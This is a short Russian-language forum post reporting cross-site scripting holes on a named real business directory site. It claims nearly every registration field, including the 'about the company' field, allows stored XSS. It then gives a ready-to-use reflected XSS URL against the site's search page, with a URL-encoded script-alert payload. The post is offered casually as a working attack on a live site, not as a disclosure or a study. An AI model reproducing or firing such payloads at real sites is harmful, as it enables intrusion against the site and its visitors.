при регистрации уязвимы пактически все поля(для активных XSS), вчастности поле "о предриятии", зарегиться до конца неудалось- за регу требют 35400 руб
ну а чтоб вам небыло скушно вот вам хоть и пассивная но тоже XSS)))
http://www.all-biz.info/ru/enterprises/?btn_search=1&findentry=%3Cscript%3Ealert%28%27%D0 %B1%D0%B0%D0%BC%D1%81%27%29%3C%2Fscript%3E&cs=&ac_ category=&btn_search=%D0%98%D1%81%D0%BA%D0%B0%D1%8 2%D1%8C